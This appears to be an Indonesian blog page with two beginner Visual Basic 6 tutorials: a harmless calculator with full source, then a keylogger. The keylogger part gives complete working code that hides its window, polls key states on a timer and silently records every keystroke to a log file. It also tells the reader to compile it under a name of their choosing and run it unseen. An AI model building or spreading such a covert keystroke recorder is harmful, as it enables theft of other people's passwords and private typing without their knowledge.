Malam.....Sobat blogger pada postingan kemarin saya sudah posting tentang cara membuat keylogger sederhana, pada kesempatan kali ini saya akan memposting tentang cara membuat Kalkulator sederhana ,meskipun hanya sederhana yang penting berguna .Sobat bisa ilihat kurang lebih seperti ini tampilannya:
jika sobat berminat mencobanya sobat tinggal ikuti cara dibawah ini:
Pertama sobat buka program visual basic klo sobat gak punya visual basicnya bisa download DISINI
pilih yang STANDART.EXE
lalu oke
Buat :
1.)form
seting:
(name):form1
2.)Text box1:
seting:
(Name):TxtDisplay
Alignment: 1-Right-justify
Text:(kosongin)
Maxlength:12
3.)Buat 19 Command button
(susun cmd seperti pada gambar diatas atau anda bisa menyusun sesuai dengan keinginan anda )
copy code di bawah ini di form1 :
(caranya klik kanan pada form>pilih view code )
source codeenya:
Option Explicit
Private Hasil As Double
Private Const opNol = 0
Private Const opTambah = 1
Private Const opKurang = 2
Private Const opKali = 3
Private Const opBagi = 4
Private Operator As Integer
Private NilaiBaru As Boolean
' untuk menghapus karakter terakhir
Private Sub Hapus()
Dim txt As String
Dim min_len As Integer
txt = txtDisplay.Text
If Left$(txt, 1) = "-" Then
min_len = 2
Else
min_len = 1
End If
If Len(txt) > min_len Then
txtDisplay.Text = Left$(txt, Len(txt) - 1)
Else
txtDisplay.Text = "0"
End If
End Sub
' hapus angka, hasil terakhir dan operator
Private Sub cmdClear_Click()
cmdClearEntry_Click
Hasil = 0
Operator = opNol
End Sub
' hapus angka
Private Sub cmdClearEntry_Click()
txtDisplay.Text = ""
End Sub
' menambahkan koma (desimal)
Private Sub cmdKoma_Click()
If InStr(txtDisplay.Text, ".") Then
Beep
Else
If NilaiBaru Then
txtDisplay.Text = "."
NilaiBaru = False
Else
txtDisplay.Text = txtDisplay.Text & "."
End If
End If
End Sub
' Menghitung
Private Sub cmdSamaDengan_Click()
Dim HasilBaru As Double
If txtDisplay.Text = "" Then
HasilBaru = 0
Else
HasilBaru = CDbl(txtDisplay.Text)
End If
Select Case Operator
Case opNol
Hasil = HasilBaru
Case opTambah
Hasil = Hasil + HasilBaru
Case opKurang
Hasil = Hasil - HasilBaru
Case opKali
Hasil = Hasil * HasilBaru
Case opBagi
'Tidak bisa dibagi nol
If HasilBaru = 0 Then
MsgBox "Tidak bisa dibagi 0", vbOKOnly + vbCritical, "Kalku ERROR"
Call cmdClear_Click
Else
Hasil = Hasil / HasilBaru
End If
End Select
Operator = opNol
NilaiBaru = True
txtDisplay.Text = Format$(Hasil)
End Sub
' menuliskan angka
Private Sub cmdAngka_Click(Index As Integer)
If NilaiBaru Then
txtDisplay.Text = Format$(Index)
NilaiBaru = False
Else
txtDisplay.Text = _
txtDisplay.Text & Format$(Index)
End If
End Sub
' tombol tambah/kurang/bagi/kali
Private Sub cmdOperator_Click(Index As Integer)
cmdSamaDengan_Click
Operator = Index
NilaiBaru = True
End Sub
' merubah tanda +/-
Private Sub cmdPlusMinus_Click()
If NilaiBaru Then
txtDisplay.Text = "-"
ElseIf Left$(txtDisplay.Text, 1) = "-" Then
txtDisplay.Text = Right$(txtDisplay.Text, 2)
Else
txtDisplay.Text = "-" & txtDisplay.Text
End If
End Sub
' filter untuk angka saja yg dapat diketikkan
Private Sub Form_KeyPress(KeyAscii As Integer)
txtDisplay_KeyPress KeyAscii
End Sub
Private Sub Form_KeyUp(KeyCode As Integer, Shift As Integer)
txtDisplay_KeyUp KeyCode, Shift
End Sub
' supaya kursor tetap di kanan
Private Sub txtDisplay_Change()
txtDisplay.SelStart = Len(txtDisplay.Text)
End Sub
Private Sub txtDisplay_GotFocus()
txtDisplay_Change
End Sub
' untuk mengetikkan angka di keyboard
Private Sub txtDisplay_KeyPress(KeyAscii As Integer)
Dim ch As String
ch = Chr$(KeyAscii)
Select Case ch
Case "0"
cmdAngka_Click 0
Case "1"
cmdAngka_Click 1
Case "2"
cmdAngka_Click 2
Case "3"
cmdAngka_Click 3
Case "4"
cmdAngka_Click 4
Case "5"
cmdAngka_Click 5
Case "6"
cmdAngka_Click 6
Case "7"
cmdAngka_Click 7
Case "8"
cmdAngka_Click 8
Case "9"
cmdAngka_Click 9
Case "*", "x", "X"
cmdOperator_Click opKali
Case "+"
cmdOperator_Click opTambah
Case vbCrLf, vbCr, "="
cmdSamaDengan_Click
Case "-"
cmdOperator_Click opKurang
Case "."
cmdKoma_Click
Case "/"
cmdOperator_Click opBagi
Case "C", "c"
cmdClearEntry_Click
End Select
KeyAscii = 0
End Sub
' untuk ketikan angka di numpad
Private Sub txtDisplay_KeyUp(KeyCode As Integer, Shift As Integer)
Select Case KeyCode
Case vbKeyNumpad0
cmdAngka_Click 0
Case vbKeyNumpad1
cmdAngka_Click 1
Case vbKeyNumpad2
cmdAngka_Click 2
Case vbKeyNumpad3
cmdAngka_Click 3
Case vbKeyNumpad4
cmdAngka_Click 4
Case vbKeyNumpad5
cmdAngka_Click 5
Case vbKeyNumpad6
cmdAngka_Click 6
Case vbKeyNumpad7
cmdAngka_Click 7
Case vbKeyNumpad8
cmdAngka_Click 8
Case vbKeyNumpad9
cmdAngka_Click 9
Case vbKeyMultiply
cmdOperator_Click opKali
Case vbKeyAdd
cmdOperator_Click opTambah
Case vbKeySeparator
cmdSamaDengan_Click
Case vbKeySubtract
cmdOperator_Click opKurang
Case vbKeyDivide
cmdOperator_Click opBagi
Case vbKeyDecimal
cmdKoma_Click
Case vbKeyBack, vbKeyDelete
Hapus
End Select
KeyCode = 0
End Sub
Ini untuk seting CommandButoon:
Name
Caption
Index
cmdAngka
1
1
cmdAngka
2
2
cmdAngka
3
3
cmdAngka
4
4
cmdAngka
5
5
cmdAngka
6
6
cmdAngka
7
7
cmdAngka
8
8
cmdAngka
9
9
cmdAngka
0
0
cmdPlusMinus
+/-
cmdKoma
,
cmdOperator
/
4
cmdOperator
x
3
cmdClear
C
cmdClearEntry
CE
cmdOperator
+
1
cmdOperator
-
2
cmdSamaDengan
=
Anda bisa kreasikan buatan anda sendiri dengan memasang baground di calculator tsb ,saya sudah mencoba dan sudah berhasil ,jika sobat ada sesuatu kesalahan pada cara diatas sobat bisa comment.....oke
Hey...... sobat blogger dah lama neh saya gak update kemarin lusa ada teman saya yang bertanya "gimana sih cara bikin keylogger" lalu saya berpikir keesokan harinya saya mengudek-ngudek paman Google akhirnya ketemu juga jawabannya ,Nah pada kesempatan ini saya akan memberikan artikel tentang caramembuat keylogger ,artikel ini memang sudah ditunggu- tunggu meskipun sudah banyak yang memposting tentang cara ini oke udah ya curhatnya ,sekarang ikuti saya
pertama sediakan visualbasic6 kalo sobat gakpunya bisa didownload kedua buka visual basic nya pilih yang standard EXE
buat form
name :form1
buat textbox
seting:name:text1 multiline:true
buat satu timer
seting:interval :200
lalu copy code berikut ini di form1
(caranya dengan klik kanan pada form pilih viewcode)
Ini Source Codenya
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Type TList
kode As Integer
bawah As String
atas As String
End Type
Private List(1 To 255) As TList
Private IndexList As Integer
Private Sub AddToTable(kode As Integer, atas As String, bawah As String)
IndexList = IndexList + 1
List(IndexList).kode = kode
List(IndexList).atas = atas
List(IndexList).bawah = bawah
End Sub
Private Sub Build_Table()
Dim i As Integer
For i = 65 To 90
AddToTable i, Chr(i), Chr(i + 32)
Next i
AddToTable 48, ")", "0"
AddToTable 49, "!", "1"
AddToTable 50, "@", "2"
AddToTable 51, "#", "3"
AddToTable 52, "$", "4"
AddToTable 53, "%", "5"
AddToTable 54, "^", "6"
AddToTable 55, "&", "7"
AddToTable 56, "*", "8"
AddToTable 57, "(", "9"
AddToTable &H60, "", "0"
AddToTable &H61, "", "1"
AddToTable &H62, "", "2"
AddToTable &H63, "", "3"
AddToTable &H64, "", "4"
AddToTable &H65, "", "5"
AddToTable &H66, "", "6"
AddToTable &H67, "", "7"
AddToTable &H68, "", "8"
AddToTable &H69, "", "9"
AddToTable Asc(" "), " ", " "
End Sub
Private Sub Form_Load()
Me.Visible = False
Build_Table
End Sub
Private Sub AddToFile(Isi As String)
Dim Data As String
Dim FileHandler As Long
If (Dir(App.Path & "\log.txt") <> "") Then
FileHandler = FreeFile
Open App.Path & "\log.txt" For Input As #FileHandler
Data = Input(LOF(FileHandler) - 2, #FileHandler)
Close #FileHandler
End If
FileHandler = FreeFile
Open App.Path & "\log.txt" For Output As #FileHandler
Print #FileHandler, Data & Isi
Close #FileHandler
End Sub
Private Sub Timer1_Timer()
Dim i As Integer
Dim a, b As Integer
For i = LBound(List) To UBound(List)
a = GetAsyncKeyState(List(i).kode)
b = GetAsyncKeyState(16)
If (a = -32767) Then
If (b = -32768) Then
AddToFile List(i).atas
Else
AddToFile List(i).bawah
End If
Exit For
End If
Next
End Sub
keterangan kalimat log.txtbisa anda ganti dengan format file apa saja log.txt:hasil rekaman (log) ketukan keyboard
setelah sudah dicopypilih menu file>makeproject1.exe
ex: namai dengan klog.exe atau anda bisa namai dengan apa yang anda inginkan
setelah sudah jadi klog.exe ,jalankan file tsb(ketika file sudah dijalankan tidak akan ada reaksi apa-apa jika anda ingin tau apakah file tsb berjalan atau tidak cek di taks manager>proses>cari program yang bernama klog.exe )
jika ada program tsb di taks manger berarti berhasil berjalan
pesan saya jika terjadi eror pada SC diatas anda bisa coment
sekian artikel yang saya buat ini jika bahasa tulisan di artikel ini kurang bisa anda memahaminya ,harap dimaklumi saja karna saya hanya Newbie yang masih dalam peroses belajar.
